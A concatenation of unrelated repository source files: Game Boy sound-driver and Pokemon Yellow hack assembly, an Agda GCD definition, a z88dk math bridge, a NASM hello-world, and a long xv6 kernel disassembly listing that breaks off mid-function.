LD A,$07
AND C ;Channel and side only
LD B,A
INC B
LDH A,($25)
-
RRCA
DEC B
JR nz,-
;At this point, set carry to the appropriate bit, and rotate left it in
BIT 3,C
JR z,++
;Set/Reset
LD B,A
PUSH BC ;Set carry to the value of the value bit
POP AF ;and A to the register
CCF ;Negate subsequent toggle
++
;Toggle bit entry
CCF
RLA
LDH ($25),A
RET
;Envelope (Channel 3)
;Sets a particular volume level on an inverse scale from the other channels
_Envelope3:
;Channel 3 volume levels scale nonlinearly,
;and matching volumes with other channels must accomodate for their
;nonlinear values as well as Channel 3's
;Map:
;%0000..%0010 -> %0000 (Vol 0%)
;%0011..%0101 -> %0110 (Vol 25%)
;%0110..%1010 -> %0100 (Vol 50%)
;%1011..%1111 -> %0010 (Vol 100%)
INC C ;Move to envelope
INC C
LD A,B
SUB %00110000
JR nc,+
XOR A
LDH (C),A
RET
+
SUB %00110000
JR nc,+
LD A,%01100000
LDH (C),A
RET
+
SUB %01010000
JR nc,+
LD A,%01000000
LDH (C),A
RET
+
LD A,%00100000
LDH (C),A
RET
;Envelope
_Envelope:
INC C
INC C
JR _SetIO
;Stacatto
_Stacatto:
LD A,$3F
AND B
LD B,A
LD HL,$0031
ADD HL,DE
LD (HL),B
INC C
LDH A,(C) ;Include wave data when writing
AND $C0
OR B
LDH (C),A
RET
;Stacatto (Channel 3)
;All bits are used for sweep data, and there is no wave to consider
_Stacatto3:
LD HL,$0031
ADD HL,DE
LD (HL),B
INC C
; JR _SetIO ;Fall through
;Sweep
_Sweep:
;IO already at the right point
; JR _SetIO ;Fall through
;Envelope (Channel 0)
;Envelope have the different function of Master Volume on the control channel
_Envelope0:
; JR _SetIO ;Fall through
_SetIO:
LD A,B
LDH (C),A
RET
;Length
_Length:
AND $0F ;Index
ADD $18 ;Length table base
LD L,A
LD H,$00
JR _SetMem
;Octave
_Octave:
LD HL,$002C ;Octave offset
AND $0F
DEC A ;Note table starts on ocatve 2
DEC A
LD B,A
; JR _SetMem ;Fall through
_SetMem:
;General data edit
ADD HL,DE
LD (HL),B
_None:
RET
.ENDS
|
scripts/mtmoonpokecenter2.asm | adhi-thirumala/EvoYellow | 16 | 18538 | <gh_stars>10-100
MagikarpSalesman:
CheckEvent EVENT_BOUGHT_MAGIKARP, 1
jp c, .alreadyBoughtMagikarp
ld hl, .Text1
call PrintText
ld a, MONEY_BOX
ld [wTextBoxID], a
call DisplayTextBoxID
call YesNoChoice
ld a, [wCurrentMenuItem]
and a
jp nz, .choseNo
; $000500
xor a
ld [hMoney], a
ld [hMoney + 2], a
ld a, $5
ld [hMoney + 1], a
call HasEnoughMoney
jr nc, .enoughMoney
ld hl, .NoMoneyText
jr .printText
.enoughMoney
lb bc, MAGIKARP, 5
call GivePokemon
jr nc, .done
; $000500
xor a
ld [wPriceTemp], a
ld [wPriceTemp + 2], a
ld a, $5
ld [wPriceTemp + 1], a
ld hl, wPriceTemp + 2
ld de, wPlayerMoney + 2
ld c, $3
predef SubBCDPredef
ld a, MONEY_BOX
ld [wTextBoxID], a
call DisplayTextBoxID
SetEvent EVENT_BOUGHT_MAGIKARP
jr .done
.choseNo
ld hl, .RefuseText
jr .printText
.alreadyBoughtMagikarp
ld hl, .Text2
.printText
call PrintText
.done
ret
.Text1
TX_FAR _MagikarpSalesmanText1
db "@"
.RefuseText
TX_FAR _MagikarpSalesmanNoText
db "@"
.NoMoneyText
TX_FAR _MagikarpSalesmanNoMoneyText
db "@"
.Text2
TX_FAR _MagikarpSalesmanText2
db "@"
|
src/fot/LTC-PCF/Program/GCD/Partial/GCD.agda | asr/fotc | 11 | 9813 | ------------------------------------------------------------------------------
-- Definition of the gcd of two natural numbers using the Euclid's algorithm
------------------------------------------------------------------------------
{-# OPTIONS --exact-split #-}
{-# OPTIONS --no-sized-types #-}
{-# OPTIONS --no-universe-polymorphism #-}
{-# OPTIONS --without-K #-}
module LTC-PCF.Program.GCD.Partial.GCD where
open import LTC-PCF.Base
open import LTC-PCF.Data.Nat
open import LTC-PCF.Data.Nat.Inequalities
open import LTC-PCF.Loop
------------------------------------------------------------------------------
-- In GHC ≤ 7.0.4 the gcd is a partial function, i.e. gcd 0 0 = undefined.
-- Let T = D → D → D be a type. Instead of defining gcdh : T → T, we
-- use the LTC-PCF λ-abstraction and application to avoid use a
-- polymorphic fixed-point operator.
gcdh : D → D
gcdh g = lam (λ m → lam (λ n →
if (iszero₁ n)
then (if (iszero₁ m) then error else m)
else (if (iszero₁ m)
then n
else (if (gt m n)
then g · (m ∸ n) · n
else g · m · (n ∸ m)))))
gcd : D → D → D
gcd m n = fix gcdh · m · n
|
libsrc/_DEVELOPMENT/math/float/math32/lm32/c/sccz80/fmod.asm | Frodevan/z88dk | 640 | 164001 | <reponame>Frodevan/z88dk
SECTION code_fp_math32
PUBLIC fmod
EXTERN cm32_sccz80_fmod
defc fmod = cm32_sccz80_fmod
; SDCC bridge for Classic
IF __CLASSIC
PUBLIC _fmod
EXTERN cm32_sdcc_fmod
defc _fmod = cm32_sdcc_fmod
ENDIF
|
src/asmtutor.com/src/helloworld-lf.asm | ishirshov/NASM-tutorial-for-Unix | 0 | 8391 | <reponame>ishirshov/NASM-tutorial-for-Unix
%include 'functions.asm'
SECTION .data
msg1 db 'Hello, brave world!', 0h
msg2 db 'This is how we recycle in NASM', 0h
SECTION .text
global _start
_start:
mov eax, msg1
call sprintLF
mov eax, msg2
call sprintLF
call quit
|
kernel.asm | zzddhhtjzz/xv6 | 0 | 98148 | <reponame>zzddhhtjzz/xv6<filename>kernel.asm
kernel: file format elf32-i386
Disassembly of section .text:
80100000 <multiboot_header>:
80100000: 02 b0 ad 1b 00 00 add 0x1bad(%eax),%dh
80100006: 00 00 add %al,(%eax)
80100008: fe 4f 52 decb 0x52(%edi)
8010000b: e4 0f in $0xf,%al
8010000c <entry>:
# Entering xv6 on boot processor, with paging off.
.globl entry
entry:
# Turn on page size extension for 4Mbyte pages
movl %cr4, %eax
8010000c: 0f 20 e0 mov %cr4,%eax
orl $(CR4_PSE), %eax
8010000f: 83 c8 10 or $0x10,%eax
movl %eax, %cr4
80100012: 0f 22 e0 mov %eax,%cr4
# Set page directory
movl $(V2P_WO(entrypgdir)), %eax
80100015: b8 00 b0 10 00 mov $0x10b000,%eax
movl %eax, %cr3
8010001a: 0f 22 d8 mov %eax,%cr3
# Turn on paging.
movl %cr0, %eax
8010001d: 0f 20 c0 mov %cr0,%eax
orl $(CR0_PG|CR0_WP), %eax
80100020: 0d 00 00 01 80 or $0x80010000,%eax
movl %eax, %cr0
80100025: 0f 22 c0 mov %eax,%cr0
# Set up the stack pointer.
movl $(stack + KSTACKSIZE), %esp
80100028: bc 70 d6 10 80 mov $0x8010d670,%esp
# Jump to main(), and switch to executing at
# high addresses. The indirect call is needed because
# the assembler produces a PC-relative instruction
# for a direct jump.
mov $main, %eax
8010002d: b8 24 37 10 80 mov $0x80103724,%eax
jmp *%eax
80100032: ff e0 jmp *%eax
80100034 <binit>:
struct buf head;
} bcache;
void
binit(void)
{
80100034: 55 push %ebp
80100035: 89 e5 mov %esp,%ebp
80100037: 83 ec 28 sub $0x28,%esp
struct buf *b;
initlock(&bcache.lock, "bcache");
8010003a: c7 44 24 04 98 89 10 movl $0x80108998,0x4(%esp)
80100041: 80
80100042: c7 04 24 80 d6 10 80 movl $0x8010d680,(%esp)
80100049: e8 f4 51 00 00 call 80105242 <initlock>
//PAGEBREAK!
// Create linked list of buffers
bcache.head.prev = &bcache.head;
8010004e: c7 05 90 15 11 80 84 movl $0x80111584,0x80111590
80100055: 15 11 80
bcache.head.next = &bcache.head;
80100058: c7 05 94 15 11 80 84 movl $0x80111584,0x80111594
8010005f: 15 11 80
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
80100062: c7 45 f4 b4 d6 10 80 movl $0x8010d6b4,-0xc(%ebp)
80100069: eb 3a jmp 801000a5 <binit+0x71>
b->next = bcache.head.next;
8010006b: 8b 15 94 15 11 80 mov 0x80111594,%edx
80100071: 8b 45 f4 mov -0xc(%ebp),%eax
80100074: 89 50 10 mov %edx,0x10(%eax)
b->prev = &bcache.head;
80100077: 8b 45 f4 mov -0xc(%ebp),%eax
8010007a: c7 40 0c 84 15 11 80 movl $0x80111584,0xc(%eax)
b->dev = -1;
80100081: 8b 45 f4 mov -0xc(%ebp),%eax
80100084: c7 40 04 ff ff ff ff movl $0xffffffff,0x4(%eax)
bcache.head.next->prev = b;
8010008b: a1 94 15 11 80 mov 0x80111594,%eax
80100090: 8b 55 f4 mov -0xc(%ebp),%edx
80100093: 89 50 0c mov %edx,0xc(%eax)
bcache.head.next = b;
80100096: 8b 45 f4 mov -0xc(%ebp),%eax
80100099: a3 94 15 11 80 mov %eax,0x80111594
//PAGEBREAK!
// Create linked list of buffers
bcache.head.prev = &bcache.head;
bcache.head.next = &bcache.head;
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
8010009e: 81 45 f4 18 02 00 00 addl $0x218,-0xc(%ebp)
801000a5: 81 7d f4 84 15 11 80 cmpl $0x80111584,-0xc(%ebp)
801000ac: 72 bd jb 8010006b <binit+0x37>
b->prev = &bcache.head;
b->dev = -1;
bcache.head.next->prev = b;
bcache.head.next = b;
}
}
801000ae: c9 leave
801000af: c3 ret
801000b0 <bget>:
// Look through buffer cache for sector on device dev.
// If not found, allocate a buffer.
// In either case, return B_BUSY buffer.
static struct buf*
bget(uint dev, uint sector)
{
801000b0: 55 push %ebp
801000b1: 89 e5 mov %esp,%ebp
801000b3: 83 ec 28 sub $0x28,%esp
struct buf *b;
acquire(&bcache.lock);
801000b6: c7 04 24 80 d6 10 80 movl $0x8010d680,(%esp)
801000bd: e8 a1 51 00 00 call 80105263 <acquire>
loop:
// Is the sector already cached?
for(b = bcache.head.next; b != &bcache.head; b = b->next){
801000c2: a1 94 15 11 80 mov 0x80111594,%eax
801000c7: 89 45 f4 mov %eax,-0xc(%ebp)
801000ca: eb 63 jmp 8010012f <bget+0x7f>
if(b->dev == dev && b->sector == sector){
801000cc: 8b 45 f4 mov -0xc(%ebp),%eax
801000cf: 8b 40 04 mov 0x4(%eax),%eax
801000d2: 3b 45 08 cmp 0x8(%ebp),%eax
801000d5: 75 4f jne 80100126 <bget+0x76>
801000d7: 8b 45 f4 mov -0xc(%ebp),%eax
801000da: 8b 40 08 mov 0x8(%eax),%eax
801000dd: 3b 45 0c cmp 0xc(%ebp),%eax
801000e0: 75 44 jne 80100126 <bget+0x76>
if(!(b->flags & B_BUSY)){
801000e2: 8b 45 f4 mov -0xc(%ebp),%eax
801000e5: 8b 00 mov (%eax),%eax
801000e7: 83 e0 01 and $0x1,%eax
801000ea: 85 c0 test %eax,%eax
801000ec: 75 23 jne 80100111 <bget+0x61>
b->flags |= B_BUSY;
801000ee: 8b 45 f4 mov -0xc(%ebp),%eax
801000f1: 8b 00 mov (%eax),%eax
801000f3: 83 c8 01 or $0x1,%eax
801000f6: 89 c2 mov %eax,%edx
801000f8: 8b 45 f4 mov -0xc(%ebp),%eax
801000fb: 89 10 mov %edx,(%eax)
release(&bcache.lock);
801000fd: c7 04 24 80 d6 10 80 movl $0x8010d680,(%esp)
80100104: e8 bc 51 00 00 call 801052c5 <release>
return b;
80100109: 8b 45 f4 mov -0xc(%ebp),%eax
8010010c: e9 93 00 00 00 jmp 801001a4 <bget+0xf4>
}
sleep(b, &bcache.lock);
80100111: c7 44 24 04 80 d6 10 movl $0x8010d680,0x4(%esp)
80100118: 80
80100119: 8b 45 f4 mov -0xc(%ebp),%eax
8010011c: 89 04 24 mov %eax,(%esp)
8010011f: e8 6a 4e 00 00 call 80104f8e <sleep>
goto loop;
80100124: eb 9c jmp 801000c2 <bget+0x12>
acquire(&bcache.lock);
loop:
// Is the sector already cached?
for(b = bcache.head.next; b != &bcache.head; b = b->next){
80100126: 8b 45 f4 mov -0xc(%ebp),%eax
80100129: 8b 40 10 mov 0x10(%eax),%eax
8010012c: 89 45 f4 mov %eax,-0xc(%ebp)
8010012f: 81 7d f4 84 15 11 80 cmpl $0x80111584,-0xc(%ebp)
80100136: 75 94 jne 801000cc <bget+0x1c>
}
// Not cached; recycle some non-busy and clean buffer.
// "clean" because B_DIRTY and !B_BUSY means log.c
// hasn't yet committed the changes to the buffer.
for(b = bcache.head.prev; b != &bcache.head; b = b->prev){
80100138: a1 90 15 11 80 mov 0x80111590,%eax
8010013d: 89 45 f4 mov %eax,-0xc(%ebp)
80100140: eb 4d jmp 8010018f <bget+0xdf>
if((b->flags & B_BUSY) == 0 && (b->flags & B_DIRTY) == 0){
80100142: 8b 45 f4 mov -0xc(%ebp),%eax
80100145: 8b 00 mov (%eax),%eax
80100147: 83 e0 01 and $0x1,%eax
8010014a: 85 c0 test %eax,%eax
8010014c: 75 38 jne 80100186 <bget+0xd6>
8010014e: 8b 45 f4 mov -0xc(%ebp),%eax
80100151: 8b 00 mov (%eax),%eax
80100153: 83 e0 04 and $0x4,%eax
80100156: 85 c0 test %eax,%eax
80100158: 75 2c jne 80100186 <bget+0xd6>
b->dev = dev;
8010015a: 8b 45 f4 mov -0xc(%ebp),%eax
8010015d: 8b 55 08 mov 0x8(%ebp),%edx
80100160: 89 50 04 mov %edx,0x4(%eax)
b->sector = sector;
80100163: 8b 45 f4 mov -0xc(%ebp),%eax
80100166: 8b 55 0c mov 0xc(%ebp),%edx
80100169: 89 50 08 mov %edx,0x8(%eax)
b->flags = B_BUSY;
8010016c: 8b 45 f4 mov -0xc(%ebp),%eax
8010016f: c7 00 01 00 00 00 movl $0x1,(%eax)
release(&bcache.lock);
80100175: c7 04 24 80 d6 10 80 movl $0x8010d680,(%esp)
8010017c: e8 44 51 00 00 call 801052c5 <release>
return b;
80100181: 8b 45 f4 mov -0xc(%ebp),%eax
80100184: eb 1e jmp 801001a4 <bget+0xf4>
}
// Not cached; recycle some non-busy and clean buffer.
// "clean" because B_DIRTY and !B_BUSY means log.c
// hasn't yet committed the changes to the buffer.
for(b = bcache.head.prev; b != &bcache.head; b = b->prev){
80100186: 8b 45 f4 mov -0xc(%ebp),%eax
80100189: 8b 40 0c mov 0xc(%eax),%eax
8010018c: 89 45 f4 mov %eax,-0xc(%ebp)
8010018f: 81 7d f4 84 15 11 80 cmpl $0x80111584,-0xc(%ebp)
80100196: 75 aa jne 80100142 <bget+0x92>
b->flags = B_BUSY;
release(&bcache.lock);
return b;
}
}
panic("bget: no buffers");
80100198: c7 04 24 9f 89 10 80 movl $0x8010899f,(%esp)
8010019f: e8 96 03 00 00 call 8010053a <panic>
}
801001a4: c9 leave
801001a5: c3 ret
801001a6 <bread>:
// Return a B_BUSY buf with the contents of the indicated disk sector.
struct buf*
bread(uint dev, uint sector)
{
801001a6: 55 push %ebp
801001a7: 89 e5 mov %esp,%ebp
801001a9: 83 ec 28 sub $0x28,%esp
struct buf *b;
b = bget(dev, sector);
801001ac: 8b 45 0c mov 0xc(%ebp),%eax
801001af: 89 44 24 04 mov %eax,0x4(%esp)
801001b3: 8b 45 08 mov 0x8(%ebp),%eax
801001b6: 89 04 24 mov %eax,(%esp)
801001b9: e8 f2 fe ff ff call 801000b0 <bget>
801001be: 89 45 f4 mov %eax,-0xc(%ebp)
if(!(b->flags & B_VALID))
801001c1: 8b 45 f4 mov -0xc(%ebp),%eax
801001c4: 8b 00 mov (%eax),%eax
801001c6: 83 e0 02 and $0x2,%eax
801001c9: 85 c0 test %eax,%eax
801001cb: 75 0b jne 801001d8 <bread+0x32>
iderw(b);
801001cd: 8b 45 f4 mov -0xc(%ebp),%eax
801001d0: 89 04 24 mov %eax,(%esp)
801001d3: e8 cf 25 00 00 call 801027a7 <iderw>
return b;
801001d8: 8b 45 f4 mov -0xc(%ebp),%eax
}
801001db: c9 leave
801001dc: c3 ret
801001dd <bwrite>:
// Write b's contents to disk. Must be B_BUSY.
void
bwrite(struct buf *b)
{
801001dd: 55 push %ebp
801001de: 89 e5 mov %esp,%ebp
801001e0: 83 ec 18 sub $0x18,%esp
if((b->flags & B_BUSY) == 0)
801001e3: 8b 45 08 mov 0x8(%ebp),%eax
801001e6: 8b 00 mov (%eax),%eax
801001e8: 83 e0 01 and $0x1,%eax
801001eb: 85 c0 test %eax,%eax
801001ed: 75 0c jne 801001fb <bwrite+0x1e>
panic("bwrite");
801001ef: c7 04 24 b0 89 10 80 movl $0x801089b0,(%esp)
801001f6: e8 3f 03 00 00 call 8010053a <panic>
b->flags |= B_DIRTY;
801001fb: 8b 45 08 mov 0x8(%ebp),%eax
801001fe: 8b 00 mov (%eax),%eax
80100200: 83 c8 04 or $0x4,%eax
80100203: 89 c2 mov %eax,%edx
80100205: 8b 45 08 mov 0x8(%ebp),%eax
80100208: 89 10 mov %edx,(%eax)
iderw(b);
8010020a: 8b 45 08 mov 0x8(%ebp),%eax
8010020d: 89 04 24 mov %eax,(%esp)
80100210: e8 92 25 00 00 call 801027a7 <iderw>
}
80100215: c9 leave
80100216: c3 ret
80100217 <brelse>:
// Release a B_BUSY buffer.
// Move to the head of the MRU list.
void
brelse(struct buf *b)
{
80100217: 55 push %ebp
80100218: 89 e5 mov %esp,%ebp
8010021a: 83 ec 18 sub $0x18,%esp
if((b->flags & B_BUSY) == 0)
8010021d: 8b 45 08 mov 0x8(%ebp),%eax
80100220: 8b 00 mov (%eax),%eax
80100222: 83 e0 01 and $0x1,%eax
80100225: 85 c0 test %eax,%eax
80100227: 75 0c jne 80100235 <brelse+0x1e>
panic("brelse");
80100229: c7 04 24 b7 89 10 80 movl $0x801089b7,(%esp)
80100230: e8 05 03 00 00 call 8010053a <panic>
acquire(&bcache.lock);
80100235: c7 04 24 80 d6 10 80 movl $0x8010d680,(%esp)
8010023c: e8 22 50 00 00 call 80105263 <acquire>
b->next->prev = b->prev;
80100241: 8b 45 08 mov 0x8(%ebp),%eax
80100244: 8b 40 10 mov 0x10(%eax),%eax
80100247: 8b 55 08 mov 0x8(%ebp),%edx
8010024a: 8b 52 0c mov 0xc(%edx),%edx
8010024d: 89 50 0c mov %edx,0xc(%eax)
b->prev->next = b->next;
80100250: 8b 45 08 mov 0x8(%ebp),%eax
80100253: 8b 40 0c mov 0xc(%eax),%eax
80100256: 8b 55 08 mov 0x8(%ebp),%edx
80100259: 8b 52 10 mov 0x10(%edx),%edx
8010025c: 89 50 10 mov %edx,0x10(%eax)
b->next = bcache.head.next;
8010025f: 8b 15 94 15 11 80 mov 0x80111594,%edx
80100265: 8b 45 08 mov 0x8(%ebp),%eax
80100268: 89 50 10 mov %edx,0x10(%eax)
b->prev = &bcache.head;
8010026b: 8b 45 08 mov 0x8(%ebp),%eax
8010026e: c7 40 0c 84 15 11 80 movl $0x80111584,0xc(%eax)
bcache.head.next->prev = b;
80100275: a1 94 15 11 80 mov 0x80111594,%eax
8010027a: 8b 55 08 mov 0x8(%ebp),%edx
8010027d: 89 50 0c mov %edx,0xc(%eax)
bcache.head.next = b;
80100280: 8b 45 08 mov 0x8(%ebp),%eax
80100283: a3 94 15 11 80 mov %eax,0x80111594
b->flags &= ~B_BUSY;
80100288: 8b 45 08 mov 0x8(%ebp),%eax
8010028b: 8b 00 mov (%eax),%eax
8010028d: 83 e0 fe and $0xfffffffe,%eax
80100290: 89 c2 mov %eax,%edx
80100292: 8b 45 08 mov 0x8(%ebp),%eax
80100295: 89 10 mov %edx,(%eax)
wakeup(b);
80100297: 8b 45 08 mov 0x8(%ebp),%eax
8010029a: 89 04 24 mov %eax,(%esp)
8010029d: e8 c8 4d 00 00 call 8010506a <wakeup>
release(&bcache.lock);
801002a2: c7 04 24 80 d6 10 80 movl $0x8010d680,(%esp)
801002a9: e8 17 50 00 00 call 801052c5 <release>
}
801002ae: c9 leave
801002af: c3 ret
801002b0 <inb>:
// Routines to let C code use special x86 instructions.
static inline uchar
inb(ushort port)
{
801002b0: 55 push %ebp
801002b1: 89 e5 mov %esp,%ebp
801002b3: 83 ec 14 sub $0x14,%esp
801002b6: 8b 45 08 mov 0x8(%ebp),%eax
801002b9: 66 89 45 ec mov %ax,-0x14(%ebp)
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801002bd: 0f b7 45 ec movzwl -0x14(%ebp),%eax
801002c1: 89 c2 mov %eax,%edx
801002c3: ec in (%dx),%al
801002c4: 88 45 ff mov %al,-0x1(%ebp)
return data;
801002c7: 0f b6 45 ff movzbl -0x1(%ebp),%eax
}
801002cb: c9 leave
801002cc: c3 ret
801002cd <outb>:
"memory", "cc");
}
static inline void
outb(ushort port, uchar data)
{
801002cd: 55 push %ebp
801002ce: 89 e5 mov %esp,%ebp
801002d0: 83 ec 08 sub $0x8,%esp
801002d3: 8b 55 08 mov 0x8(%ebp),%edx
801002d6: 8b 45 0c mov 0xc(%ebp),%eax
801002d9: 66 89 55 fc mov %dx,-0x4(%ebp)
801002dd: 88 45 f8 mov %al,-0x8(%ebp)
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801002e0: 0f b6 45 f8 movzbl -0x8(%ebp),%eax
801002e4: 0f b7 55 fc movzwl -0x4(%ebp),%edx
801002e8: ee out %al,(%dx)
}
801002e9: c9 leave
801002ea: c3 ret
801002eb <cli>:
asm volatile("movw %0, %%gs" : : "r" (v));
}
static inline void
cli(void)
{
801002eb: 55 push %ebp
801002ec: 89 e5 mov %esp,%ebp
asm volatile("cli");
801002ee: fa cli
}
801002ef: 5d pop %ebp
801002f0: c3 ret
801002f1 <printint>:
int locking;
} cons;
static void
printint(int xx, int base, int sign)
{
801002f1: 55 push %ebp
801002f2: 89 e5 mov %esp,%ebp
801002f4: 56 push %esi
801002f5: 53 push %ebx
801002f6: 83 ec 30 sub $0x30,%esp
static char digits[] = "0123456789abcdef";
char buf[16];
int i;
uint x;
if(sign && (sign = xx < 0))
801002f9: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
801002fd: 74 1c je 8010031b <printint+0x2a>
801002ff: 8b 45 08 mov 0x8(%ebp),%eax
80100302: c1 e8 1f shr $0x1f,%eax
80100305: 0f b6 c0 movzbl %al,%eax
80100308: 89 45 10 mov %eax,0x10(%ebp)
8010030b: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
8010030f: 74 0a je 8010031b <printint+0x2a>
x = -xx;
80100311: 8b 45 08 mov 0x8(%ebp),%eax
80100314: f7 d8 neg %eax
80100316: 89 45 f0 mov %eax,-0x10(%ebp)
80100319: eb 06 jmp 80100321 <printint+0x30>
else
x = xx;
8010031b: 8b 45 08 mov 0x8(%ebp),%eax
8010031e: 89 45 f0 mov %eax,-0x10(%ebp)
i = 0;
80100321: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
do{
buf[i++] = digits[x % base];
80100328: 8b 4d f4 mov -0xc(%ebp),%ecx
8010032b: 8d 41 01 lea 0x1(%ecx),%eax
8010032e: 89 45 f4 mov %eax,-0xc(%ebp)
80100331: 8b 5d 0c mov 0xc(%ebp),%ebx
80100334: 8b 45 f0 mov -0x10(%ebp),%eax
80100337: ba 00 00 00 00 mov $0x0,%edx
8010033c: f7 f3 div %ebx
8010033e: 89 d0 mov %edx,%eax
80100340: 0f b6 80 04 a0 10 80 movzbl -0x7fef5ffc(%eax),%eax
80100347: 88 44 0d e0 mov %al,-0x20(%ebp,%ecx,1)
}while((x /= base) != 0);
8010034b: 8b 75 0c mov 0xc(%ebp),%esi
8010034e: 8b 45 f0 mov -0x10(%ebp),%eax
80100351: ba 00 00 00 00 mov $0x0,%edx
80100356: f7 f6 div %esi
80100358: 89 45 f0 mov %eax,-0x10(%ebp)
8010035b: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
8010035f: 75 c7 jne 80100328 <printint+0x37>
if(sign)
80100361: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
80100365: 74 10 je 80100377 <printint+0x86>
buf[i++] = '-';
80100367: 8b 45 f4 mov -0xc(%ebp),%eax
8010036a: 8d 50 01 lea 0x1(%eax),%edx
8010036d: 89 55 f4 mov %edx,-0xc(%ebp)
80100370: c6 44 05 e0 2d movb $0x2d,-0x20(%ebp,%eax,1)
while(--i >= 0)
80100375: eb 18 jmp 8010038f <printint+0x9e>
80100377: eb 16 jmp 8010038f <printint+0x9e>
consputc(buf[i]);
80100379: 8d 55 e0 lea -0x20(%ebp),%edx
8010037c: 8b 45 f4 mov -0xc(%ebp),%eax
8010037f: 01 d0 add %edx,%eax
80100381: 0f b6 00 movzbl (%eax),%eax
80100384: 0f be c0 movsbl %al,%eax
80100387: 89 04 24 mov %eax,(%esp)
8010038a: e8 c1 03 00 00 call 80100750 <consputc>
}while((x /= base) != 0);
if(sign)
buf[i++] = '-';
while(--i >= 0)
8010038f: 83 6d f4 01 subl $0x1,-0xc(%ebp)
80100393: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80100397: 79 e0 jns 80100379 <printint+0x88>
consputc(buf[i]);
}
80100399: 83 c4 30 add $0x30,%esp
8010039c: 5b pop %ebx
8010039d: 5e pop %esi
8010039e: 5d pop %ebp
8010039f: c3 ret
801003a0 <cprintf>:
//PAGEBREAK: 50
// Print to the console. only understands %d, %x, %p, %s.
void
cprintf(char *fmt, ...)
{
801003a0: 55 push %ebp
801003a1: 89 e5 mov %esp,%ebp
801003a3: 83 ec 38 sub $0x38,%esp
int i, c, locking;
uint *argp;
char *s;
locking = cons.locking;
801003a6: a1 14 c6 10 80 mov 0x8010c614,%eax
801003ab: 89 45 e8 mov %eax,-0x18(%ebp)
if(locking)
801003ae: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
801003b2: 74 0c je 801003c0 <cprintf+0x20>
acquire(&cons.lock);
801003b4: c7 04 24 e0 c5 10 80 movl $0x8010c5e0,(%esp)
801003bb: e8 a3 4e 00 00 call 80105263 <acquire>
if (fmt == 0)
801003c0: 8b 45 08 mov 0x8(%ebp),%eax
801003c3: 85 c0 test %eax,%eax
801003c5: 75 0c jne 801003d3 <cprintf+0x33>
panic("null fmt");
801003c7: c7 04 24 be 89 10 80 movl $0x801089be,(%esp)
801003ce: e8 67 01 00 00 call 8010053a <panic>
argp = (uint*)(void*)(&fmt + 1);
801003d3: 8d 45 0c lea 0xc(%ebp),%eax
801003d6: 89 45 f0 mov %eax,-0x10(%ebp)
for(i = 0; (c = fmt[i] & 0xff) != 0; i++){
801003d9: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
801003e0: e9 21 01 00 00 jmp 80100506 <cprintf+0x166>
if(c != '%'){
801003e5: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
801003e9: 74 10 je 801003fb <cprintf+0x5b>
consputc(c);
801003eb: 8b 45 e4 mov -0x1c(%ebp),%eax
801003ee: 89 04 24 mov %eax,(%esp)
801003f1: e8 5a 03 00 00 call 80100750 <consputc>
continue;
801003f6: e9 07 01 00 00 jmp 80100502 <cprintf+0x162>
}
c = fmt[++i] & 0xff;
801003fb: 8b 55 08 mov 0x8(%ebp),%edx
801003fe: 83 45 f4 01 addl $0x1,-0xc(%ebp)
80100402: 8b 45 f4 mov -0xc(%ebp),%eax
80100405: 01 d0 add %edx,%eax
80100407: 0f b6 00 movzbl (%eax),%eax
8010040a: 0f be c0 movsbl %al,%eax
8010040d: 25 ff 00 00 00 and $0xff,%eax
80100412: 89 45 e4 mov %eax,-0x1c(%ebp)
if(c == 0)
80100415: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp)
80100419: 75 05 jne 80100420 <cprintf+0x80>
break;
8010041b: e9 06 01 00 00 jmp 80100526 <cprintf+0x186>
switch(c){
80100420: 8b 45 e4 mov -0x1c(%ebp),%eax
80100423: 83 f8 70 cmp $0x70,%eax
80100426: 74 4f je 80100477 <cprintf+0xd7>
80100428: 83 f8 70 cmp $0x70,%eax
8010042b: 7f 13 jg 80100440 <cprintf+0xa0>
8010042d: 83 f8 25 cmp $0x25,%eax
80100430: 0f 84 a6 00 00 00 je 801004dc <cprintf+0x13c>
80100436: 83 f8 64 cmp $0x64,%eax
80100439: 74 14 je 8010044f <cprintf+0xaf>
8010043b: e9 aa 00 00 00 jmp 801004ea <cprintf+0x14a>
80100440: 83 f8 73 cmp $0x73,%eax
80100443: 74 57 je 8010049c <cprintf+0xfc>
80100445: 83 f8 78 cmp $0x78,%eax
80100448: 74 2d je 80100477 <cprintf+0xd7>
8010044a: e9 9b 00 00 00 jmp 801004ea <cprintf+0x14a>
case 'd':
printint(*argp++, 10, 1);
8010044f: 8b 45 f0 mov -0x10(%ebp),%eax
80100452: 8d 50 04 lea 0x4(%eax),%edx
80100455: 89 55 f0 mov %edx,-0x10(%ebp)
80100458: 8b 00 mov (%eax),%eax
8010045a: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
80100461: 00
80100462: c7 44 24 04 0a 00 00 movl $0xa,0x4(%esp)
80100469: 00
8010046a: 89 04 24 mov %eax,(%esp)
8010046d: e8 7f fe ff ff call 801002f1 <printint>
break;
80100472: e9 8b 00 00 00 jmp 80100502 <cprintf+0x162>
case 'x':
case 'p':
printint(*argp++, 16, 0);
80100477: 8b 45 f0 mov -0x10(%ebp),%eax
8010047a: 8d 50 04 lea 0x4(%eax),%edx
8010047d: 89 55 f0 mov %edx,-0x10(%ebp)
80100480: 8b 00 mov (%eax),%eax
80100482: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
80100489: 00
8010048a: c7 44 24 04 10 00 00 movl $0x10,0x4(%esp)
80100491: 00
80100492: 89 04 24 mov %eax,(%esp)
80100495: e8 57 fe ff ff call 801002f1 <printint>
break;
8010049a: eb 66 jmp 80100502 <cprintf+0x162>
case 's':
if((s = (char*)*argp++) == 0)
8010049c: 8b 45 f0 mov -0x10(%ebp),%eax
8010049f: 8d 50 04 lea 0x4(%eax),%edx
